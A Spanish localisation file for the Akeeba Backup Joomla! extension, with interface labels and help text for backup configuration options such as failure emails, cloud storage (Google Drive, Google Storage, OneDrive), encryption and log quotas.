COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_DESC="Déjelo en blanco para usar el predeterminado. Puede usar todas las variables de Akeeba Backup disponibles para nombrar archivos de copia de seguridad, p. ej. [HOST] y [DATE]."

COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_DESC="Enviar correo electrónico a esta dirección (déjelo en blanco para enviar correo a todos los superusuarios)"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_LABEL="Dirección de correo electrónico"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_DESC="Déjelo en blanco para usar el predeterminado. Puede usar todas las variables de Akeeba Backup disponibles para nombrar archivos de copia de seguridad, p. ej. [HOST] y [DATE]."
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_LABEL="Cuerpo del correo electrónico"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_DESC="Déjelo en blanco para usar el predeterminado. Puede usar todas las variables de Akeeba Backup disponibles para nombrar archivos de copia de seguridad, p. ej. [HOST] y [DATE]"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_LABEL="Asunto del correo electrónico"
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_DESC="Permite comprobar las copias de seguridad fallidas mediante una URL de programación del frontend. Recuerde ir a Akeeba Backup, hacer clic en Opciones y luego en la pestaña Frontend. Establezca «Activar API de copia de seguridad del frontend heredada (tareas CRON remotas)» en Sí para habilitar esta función."
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_LABEL="Activada la comprobación de copias de seguridad fallidas desde el frontend"

COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_DESC="Una copia de seguridad se considerará bloqueada (fallida) tras este número de segundos de inactividad.<br/>¡NO CAMBIE ESTE VALOR A MENOS QUE SEPA LO QUE ESTÁ HACIENDO!"
COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_LABEL="Tiempo de espera por copia de seguridad bloqueada"
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_DESC="Déjelo en blanco para usar el predeterminado. Puede usar todas las variables de Akeeba Backup disponibles para nombrar archivos de copia de seguridad, p. ej. [HOST] y [DATE]. También puede usar [PROFILENUMBER] para el número del perfil actual, [PROFILENAME] para el nombre del perfil actual, [PARTCOUNT] para el número total de partes generadas del archivo de copia de seguridad, [FILELIST] para una lista de las partes del archivo de copia de seguridad y [REMOTESTATUS] para indicar si la subida al almacenamiento remoto se completó correctamente."
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_LABEL="Cuerpo del correo electrónico"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_DESC="Déjelo en blanco para usar el predeterminado. Puede usar todas las variables de Akeeba Backup disponibles para nombrar archivos de copia de seguridad, p. ej. [HOST] y [DATE]"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_LABEL="Asunto del correo electrónico"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DEFAULT="Comportamiento predeterminado de Joomla!"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DESC="La fecha y hora de la copia de seguridad -tal como se registra en el nombre del archivo, la descripción predeterminada y los correos electrónicos- se expresará en esta zona horaria. Esta opción afecta a todos los orígenes de copia de seguridad, es decir, a todas las copias de seguridad independientemente de cómo se realicen (a través de Akeeba Backup, la API JSON remota, etc.)."
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_LABEL="Zona horaria de copia de seguridad"
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_DESC="Enviar un correo electrónico de notificación tras realizar una copia de seguridad con la función de copia de seguridad del frontend (API heredada) o la API JSON."
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_LABEL="Correo electrónico al completar la copia de seguridad"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS="Siempre"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_DESC="¿Cuándo se debe enviar el correo electrónico al completar la copia de seguridad? Siempre significa cada vez que se complete una copia de seguridad. Subida fallida significa que el correo electrónico solo se envía si la copia de seguridad se completó pero la subida al almacenamiento remoto no finalizó correctamente. Si la copia de seguridad falla, esta función no puede enviar ningún correo electrónico; consulte la página Programar copias de seguridad automáticas para obtener información sobre cómo recibir correos sobre copias de seguridad fallidas."
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD="Subida fallida"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_LABEL="Cuándo enviar el correo electrónico"
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_DESC="<strong>Estas opciones solo se aplican a Akeeba Backup Professional</strong>. Controla las opciones de funciones remotas y programadas de Akeeba Backup. Para obtener más información sobre la programación de copias de seguridad, consulte la página de Información de programación en Akeeba Backup Professional o nuestra documentación."
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_LABEL="Copia de seguridad desde el frontend"
COM_AKEEBABACKUP_CONFIG_FTPTEST_BADPREFIX="NO debe añadir el prefijo ftp:// al nombre del servidor FTP. Elimine el prefijo ftp:// e inténtelo de nuevo."
COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD="Akeeba Backup pudo conectarse a su servidor, pero no pudo subir un archivo de prueba. La subida de la copia de seguridad podría fallar."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION="Se rellena automáticamente al completar el Paso 1 de autenticación indicado arriba. Si está vinculando otro sitio a la misma cuenta de Google Drive, NO copie el token de acceso y NO ejecute la autenticación. En su lugar, simplemente copie el token de actualización del sitio anterior a este."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_TITLE="Token de acceso"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_DESCRIPTION="El directorio dentro de Google Drive donde se almacenarán los archivos de copia de seguridad. Use barras inclinadas hacia adelante. Correcto: some/thing. Incorrecto: some\\thing. Una sola barra inclinada hacia adelante significa que los archivos se almacenarán en la raíz de la unidad. LEA LA DOCUMENTACIÓN: ¡Las rutas en Google Drive son ambiguas!"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTOKEN_TITLE="Token de actualización"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTEAMDRIVES_TITLE="Recargar la lista de unidades"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_DESCRIPTION="En qué Google Drive desea almacenar sus archivos. Debe completar la autenticación antes de que se rellene esta lista. Solo tiene sentido cuando tiene acceso a Google Team Drives (p. ej. usuarios del plan de empresa o empresarial de G Suite). Si no está seguro, use la opción «Google Drive (personal)»."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL="Google Drive (personal)"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_TITLE="Unidad"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_TITLE="Subir a carpetas «Compartido conmigo»"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_DESCRIPTION="Cuando está activado, Akeeba Backup buscará carpetas en la colección Compartido conmigo antes de buscar una carpeta con el mismo nombre en su unidad. Esto es mucho más lento y puede llevar a subir en la carpeta equivocada si existen muchas carpetas compartidas con el mismo nombre en su cuenta de Google Drive."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_DESCRIPTION="Su clave de acceso de Google Storage, disponible en la herramienta de gestión de claves de Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_TITLE="Clave de acceso"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION="El nombre de su cubo de Google Storage. Asegúrese de escribirlo exactamente como aparece en la aplicación web del navegador de Google Cloud Storage (https://sandbox.google.com/storage)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_TITLE="Cubo"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION="El directorio dentro de su cubo donde se almacenarán los archivos de copia de seguridad. Déjelo en blanco para almacenar los ficheros en la raíz del cubo."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_DESC="Pegue aquí el contenido del archivo de credenciales JSON que Google Cloud Console generó al configurar la cuenta de servicio para el software de copia de seguridad. Recuerde incluir las llaves al principio y al final del texto."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_TITLE="Contenido de googlestorage.json (lea la documentación)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_DESCRIPTION="Si está activado, Akeeba Backup intentará convertir el nombre del cubo a letras minúsculas; es decir, MiCubo se convertirá en micubo. Si ha creado un cubo con letras mayúsculas, p. ej. MiNuevoCubo, desmarque esta opción y asegúrese de que el nombre del cubo se escribe exactamente como aparece en la aplicación web del navegador de Google Cloud Storage (https://sandbox.google.com/storage)."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_TITLE="Nombre de cubo en minúsculas"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_DESCRIPTION="Su clave secreta de Google Storage, disponible en la herramienta de gestión de claves de Google Cloud Storage (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_TITLE="Clave secreta"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_DESCRIPTION="Si está habilitado, se usará una conexión segura (HTTPS) al subir los archivos. Aunque aumenta la seguridad de los datos transferidos, también aumenta la posibilidad de que la copia de seguridad falle por tiempo de espera agotado."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_TITLE="Usar SSL"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_COLDLINE="Almacenamiento Coldline"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_DESCRIPTION="Cambia la clase de almacenamiento de los archivos de copia de seguridad subidos. «Ninguna» significa que los archivos se almacenarán con la clase de almacenamiento predeterminada especificada en su depósito. Tenga en cuenta que las opciones distintas a Standard pueden ser más baratas de almacenar, pero pueden generar cargos adicionales si los descarga o elimina. Consulte a Google para obtener información sobre precios."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NEARLINE="Almacenamiento Nearline"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NONE="Ninguna (dejar que lo decida el depósito)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_STANDARD="Almacenamiento Standard"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_TITLE="Clase de almacenamiento"
COM_AKEEBABACKUP_CONFIG_HEADER_BASIC="Configuración básica"
COM_AKEEBABACKUP_CONFIG_HEADER_CONFWIZ="¿Desea que Akeeba Backup se configure a sí mismo?"
COM_AKEEBABACKUP_CONFIG_HEADER_OPTIONALFILTERS="Filtros opcionales"
COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA="Gestión de cuotas"
COM_AKEEBABACKUP_CONFIG_HEADER_TUNING="Ajuste fino"
COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION="Al realizar una copia de seguridad completa del sitio, Akeeba Backup incrusta en el archivo el script de restauración definido aquí. Esto permite restaurar su sitio desde cero, sin necesidad de instalar su CMS ni Akeeba Backup, incluso cuando su sitio o servidor esté completamente destruido."
COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE="Script de restauración incrustado"
COM_AKEEBABACKUP_CONFIG_JPS_KEY_DESCRIPTION="Esta clave se utilizará para cifrar el contenido del archivo. La clave distingue entre mayúsculas y minúsculas; es decir, ABC, abc y Abc son tres contraseñas diferentes. Guarde una copia de la contraseña en un lugar seguro. Si la pierde, no habrá forma de recuperarla."
COM_AKEEBABACKUP_CONFIG_JPS_KEY_TITLE="Clave de cifrado"
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_DESCRIPTION="Cuando está habilitado (valor predeterminado), su contraseña se expande a una clave criptográfica utilizada en todo el archivo. Esto es rápido, pero en el improbable caso de que un atacante con recursos suficientes logre realizar ingeniería inversa de la clave criptográfica a partir de un bloque cifrado del archivo —sin forzar su contraseña— podría descifrar todo el archivo de copia de seguridad. Cuando está deshabilitado, se deriva una clave criptográfica diferente a partir de su contraseña en cada bloque cifrado, lo cual es mucho más lento pero le protege frente a este tipo de ataque, obligando al atacante a aplicar fuerza bruta sobre la contraseña, lo que es mucho más lento."
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_TITLE="Expansión de clave para todo el archivo"
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_DESC="La API JSON de Akeeba Backup le permite realizar y gestionar copias de seguridad, así como administrar las opciones de Akeeba Backup de forma remota. Debe habilitar esta opción si planea realizar, descargar o gestionar copias de seguridad, por ejemplo, con Akeeba Remote CLI, Akeeba UNiTE o servicios de programación de copias de seguridad."
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_LABEL="Habilitar la API JSON (copia de seguridad remota)"
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION="Cuando un directorio contiene más archivos o directorios que este número, se considera \"grande\". Por ello, Akeeba Backup intentará volver a explorarlo en el siguiente paso para evitar tiempos de espera durante la copia de seguridad. Un valor demasiado pequeño ralentizará considerablemente la copia de seguridad. Auméntelo —a menos que obtenga errores de tiempo de espera agotado— para acelerar la copia de seguridad."
COM_AKEEBABACKUP_CONFIG_LARGEDIRTHRESHOLD_TITLE="Umbral de directorio grande"
COM_AKEEBABACKUP_CONFIG_LARGEFILE_DESCRIPTION="Los archivos más grandes que este umbral se empaquetarán en su propio paso para evitar la posibilidad de un tiempo de espera agotado. Los valores entre 2 y 10 MB funcionan mejor en la mayoría de los servidores."
COM_AKEEBABACKUP_CONFIG_LARGEFILE_TITLE="Umbral de archivo grande"
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_DESCRIPTION="Número de directorios a explorar en cada paso. Configuración recomendada: 50. Los valores más altos hacen que la copia de seguridad sea marginalmente más rápida, pero más propensa a agotar el tiempo de espera."
COM_AKEEBABACKUP_CONFIG_LARGE_DIRTHRESHOLD_TITLE="Tamaño del lote de exploración de directorios"
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_DESCRIPTION="Número de archivos a explorar y comprimir en cada paso. Configuración recomendada: 100. Los valores más altos hacen que la copia de seguridad sea marginalmente más rápida, pero más propensa a agotar el tiempo de espera o la memoria."
COM_AKEEBABACKUP_CONFIG_LARGE_FILESTHRESHOLD_TITLE="Tamaño del lote de exploración de archivos"
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_AFTER="Una vez que Akeeba Backup haya terminado de configurarse, puede realizar una copia de seguridad o ajustar manualmente su configuración."
COM_AKEEBABACKUP_CONFIG_LBL_CONFWIZ_INTRO="Parece que aún no ha configurado Akeeba Backup. Pulse el botón Asistente de configuración a continuación para que se configure automáticamente."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_DESC="La API heredada de copia de seguridad desde el frontend le permite realizar copias de seguridad programadas mediante herramientas de acceso por URL como wget o curl. Debe habilitar esta opción si planea realizar copias de seguridad con el servidor CRON de su proveedor usando wget o curl, o si planea usar un servicio CRON de terceros como WebCRON.org. Siempre que sea posible, recomendamos usar el script CLI nativo o la API JSON de Akeeba Backup, ya que son opciones mucho más seguras."
COM_AKEEBABACKUP_CONFIG_LEGACYAPI_ENABLED_LABEL="Habilitar la API heredada de copia de seguridad desde el frontend (trabajos CRON remotos)"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DEBUG="Toda la información y depuración"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_DESCRIPTION="Esta opción determina el nivel de detalle del registro de la copia de seguridad."
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_ERROR="Solo errores"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_INFO="Toda la información"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_NONE="Ninguno"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_TITLE="Nivel de registro"
COM_AKEEBABACKUP_CONFIG_LOGLEVEL_WARNING="Errores y advertencias"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Elimina automáticamente las copias de seguridad antiguas según el día en que se realizaron. ADVERTENCIA: HABILITAR ESTA OPCIÓN HARÁ QUE TODAS LAS DEMÁS CONFIGURACIONES DE CUOTA (CANTIDAD Y TAMAÑO) SE IGNOREN."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Habilitar cuotas de antigüedad máxima de copias de seguridad"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="Las copias de seguridad realizadas en este día del mes no se eliminarán. Deje la configuración predeterminada, 1, para preservar siempre las copias de seguridad realizadas el primer día del mes."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="No eliminar copias de seguridad realizadas en este día del mes"
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="Las copias de seguridad más antiguas que este número de días se eliminarán automáticamente. Deje la configuración predeterminada, 31, para conservar todas las copias de seguridad del último mes."
COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Antigüedad máxima de la copia de seguridad, en días"
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_DESCRIPTION="Cada paso de Akeeba Backup durará <em>como máximo</em> el tiempo definido aquí. Use un valor inferior al tiempo máximo de ejecución de PHP. Generalmente, establecerlo en 10 segundos es adecuado, excepto en servidores muy restrictivos.<strong>Consejo</strong>: Seleccione Personalizado e introduzca el valor deseado si no aparece en la lista."
COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_TITLE="Tiempo máximo de ejecución"
COM_AKEEBABACKUP_CONFIG_MAXPACKET_DESCRIPTION="El tamaño máximo, en bytes, de cada sentencia INSERT extendida. Se recomienda mantenerlo suficientemente bajo para que MySQL no genere un error al restaurar el volcado de la base de datos."
COM_AKEEBABACKUP_CONFIG_MAXPACKET_TITLE="Tamaño máximo de paquete para INSERTs extendidos"
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_DESCRIPTION="Cada paso de Akeeba Backup durará <em>como mínimo</em> el tiempo definido aquí. Esto es necesario para evitar soluciones de seguridad anti-DoS. Si obtiene errores 403 Prohibido o errores AJAX, aumente este valor. Establecerlo en 0 deshabilita esta función.<br/><br/><strong>Consejo</strong>: Seleccione Personalizado e introduzca el valor deseado si no aparece en la lista."
COM_AKEEBABACKUP_CONFIG_MINEXECTIME_TITLE="Tiempo mínimo de ejecución"
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_DESCRIPTION="Cuando está habilitado, Akeeba Backup intentará volcar estas entidades avanzadas de bases de datos MySQL 5. Si la copia de seguridad se bloquea durante la etapa de copia de seguridad, es posible que deba deshabilitar esta opción."
COM_AKEEBABACKUP_CONFIG_MYSQL5FEATURES_ENABLE_TITLE="Volcar PROCEDUREs, FUNCTIONs y TRIGGERs"
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TIP="Elimina USING BTREE y USING HASH de las definiciones de índices de tablas en los archivos de volcado. Esto es necesario para restaurar en servidores que tienen desactivado alguno de los motores de indexación (p. ej., en las versiones más recientes de XAMPP). ADVERTENCIA: ESTO PUEDE CAUSAR PROBLEMAS DE RESTAURACIÓN EN ALGUNOS SERVIDORES."
COM_AKEEBABACKUP_CONFIG_MYSQLNOBTREE_TITLE="Omitir motor de índice"
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_DESCRIPTION="Cuando está habilitado, Akeeba Backup no realizará un seguimiento de las dependencias entre tablas y vistas. Úselo únicamente cuando tenga cientos de tablas de base de datos y no utilice VIEWs, FUNCTIONs, PROCEDUREs, TRIGGERs de MySQL ni tablas que usen los motores (extremadamente raramente utilizados) TEMPORARY, MEMORY, MERGE o FEDERATED."
COM_AKEEBABACKUP_CONFIG_NODEPENDENCIES_TITLE="Sin seguimiento de dependencias"
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION="Número total de registros obsoletos (copias de seguridad cuyos archivos han sido eliminados) que se conservarán en la página Gestionar copias de seguridad. Establezca en 0 para no tener límite."
COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE="Registros obsoletos a conservar"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE="Eliminar archivos de registro obsoletos"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION="Elimina automáticamente los archivos de registro de los registros de copia de seguridad correctos. El archivo de registro de la última copia de seguridad participa en los cálculos pero nunca se elimina. Si el perfil de copia de seguridad tiene un motor de posprocesamiento distinto de Ninguno o Enviar por correo electrónico, solo participan en esta configuración de cuota los registros con el estado Copia de seguridad remota. Si el motor de posprocesamiento es Ninguno o Enviar por correo electrónico, solo participan los registros con el estado Correcto o Copia de seguridad remota. Esta función se ejecuta después de la cuota de registros obsoletos; dicha cuota también puede eliminar archivos de registro antiguos."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE="Tipo de cuota de archivos de registro obsoletos"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION="Elija el método utilizado para determinar qué archivos de registro antiguos eliminar."
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE="Tamaño máximo"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT="Cantidad"
COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS="Antigüedad máxima"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE="Cantidad de archivos de registro"
COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION="Número de archivos de registro a conservar. El archivo de registro de la última copia de seguridad realizada puede participar en el recuento, pero nunca se eliminará. Solo se considerarán para su eliminación los archivos de registro de los registros de copia de seguridad correctos."
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE="Tamaño de los archivos de registro (megabytes)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION="El tamaño total máximo de los archivos de registro a conservar. El archivo de registro de la última copia de seguridad realizada puede participar en el cálculo, pero nunca se eliminará. Solo se considerarán para su eliminación los archivos de registro de los registros de copia de seguridad correctos."
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE="Antigüedad de los archivos de registro (días)"
COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION="La antigüedad máxima en días de los archivos de registro a conservar. El archivo de registro de la última copia de seguridad realizada nunca se eliminará. Solo se considerarán para su eliminación los archivos de registro de los registros de copia de seguridad correctos."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_DESCRIPTION="Se rellena automáticamente al completar el paso 1 de autenticación indicado más arriba. NO comparta el mismo token en varios sitios. En su lugar, autentique cada sitio por separado."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_ACCESSTOKEN_TITLE="Token de acceso"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHDRIVES_TITLE="Recargar la lista de unidades"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_TITLE="Unidad"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_DESCRIPTION="Elija qué unidad (OneDrive Personal, OneDrive para Empresas o SharePoint) de su cuenta se utilizará para almacenar las copias de seguridad. Debe completar la autenticación antes de que se rellene esta lista. Solo tiene sentido si tiene acceso a más de una unidad de OneDrive (p. ej., su cuenta de Microsoft forma parte de la suscripción de una organización). Si no está seguro, use la opción «Unidad predeterminada», que usa su unidad personal predeterminada, normalmente equivalente a la primera opción «Unidad (OneDrive Personal)» que ve a continuación."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL="Unidad (OneDrive Personal)"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION="El directorio dentro de la unidad de Microsoft OneDrive donde se almacenarán los archivos de copia de seguridad. Use barras diagonales, no barras inversas, y coloque siempre una barra diagonal al principio. Correcto: /alguna/ruta. Incorrecto: alguna\\ruta. Una sola barra diagonal significa que los archivos se almacenarán en la raíz de la unidad."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION="Se rellena automáticamente al completar el paso 1 de autenticación indicado más arriba. NO comparta el mismo token en varios sitios. En su lugar, autentique cada sitio por separado."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE="Token de actualización"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION="En Joomla! 3.9 y versiones posteriores, las acciones de los usuarios se registran en la base de datos, creando una tabla con millones de filas que ralentiza la copia de seguridad. Marque esta opción para excluir dichos datos."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE="Registro de acciones de usuario de Joomla!"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="Cuando está habilitado, solo se incluirán en la copia de seguridad los archivos modificados después de una fecha y hora específicas."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Filtro condicional por fecha"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="Akeeba Backup realizará la copia de seguridad de los archivos modificados después de esta fecha y hora. El formato es AAAA-MM-DD hh:mm:ss. Todas las fechas y horas se expresan en la zona horaria de su servidor."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="Incluir en copia de seguridad los archivos modificados después de"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION="Excluye automáticamente los archivos de registro de errores, p. ej. <code>error_log</code>, independientemente de dónde se encuentren en el sitio del que se realiza la copia de seguridad. Estos archivos cambian de tamaño durante el proceso de copia de seguridad, lo que puede generar copias de seguridad corruptas."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE="Excluir registros de errores"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION="Excluye de la copia de seguridad el contenido no crítico de la Búsqueda Inteligente. Se recomienda encarecidamente hacerlo por motivos de rendimiento. Después de restaurar su sitio, vaya a Componentes, Búsqueda Inteligente y pulse el botón Indexar para reconstruir estos datos."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE="Omitir tablas de términos y taxonomía de Finder"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION="Cuando está habilitado, Akeeba Backup excluirá automáticamente las carpetas más comunes específicas del servidor para almacenar estadísticas de acceso de su sitio. Estas carpetas son de solo lectura para el usuario de su sitio web, lo que causa problemas de restauración si se incluyen en la copia de seguridad."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_TITLE="Incluir solo las tablas instaladas por Joomla! y sus extensiones"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_DESCRIPTION="Al habilitar este filtro se omitirá la copia de seguridad de cualquier tabla de la base de datos que no haya sido instalada por Joomla! o alguna de sus extensiones. La información sobre las tablas instaladas la proporcionan los archivos SQL incluidos con Joomla! y sus extensiones. Este filtro es útil cuando tiene muchas tablas innecesarias o copiadas (por ejemplo, <code>#__users_oldcopy_20250910</code>) y no desea o no sabe cómo descartarlas una a una. Pruebe siempre la restauración de la copia de seguridad en un servidor de desarrollo o de pruebas al usar este filtro para asegurarse de que su configuración no haya excluido accidentalmente tablas que necesitaba."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_TITLE="Limitar el filtrado a tablas con el prefijo de Joomla"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_DESCRIPTION="Habilitar esta opción limitará el filtro «Incluir solo las tablas instaladas por Joomla! y sus extensiones» a las tablas cuyo nombre comience con el prefijo de nombre de tabla de la base de datos de Joomla!. Esto es útil si tiene scripts de terceros que se ejecutan fuera de Joomla y que instalan sus tablas sin prefijo de tabla, o con un prefijo de tabla diferente, y desea incluirlas en su copia de seguridad."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_TITLE="Permitir explícitamente estas tablas"
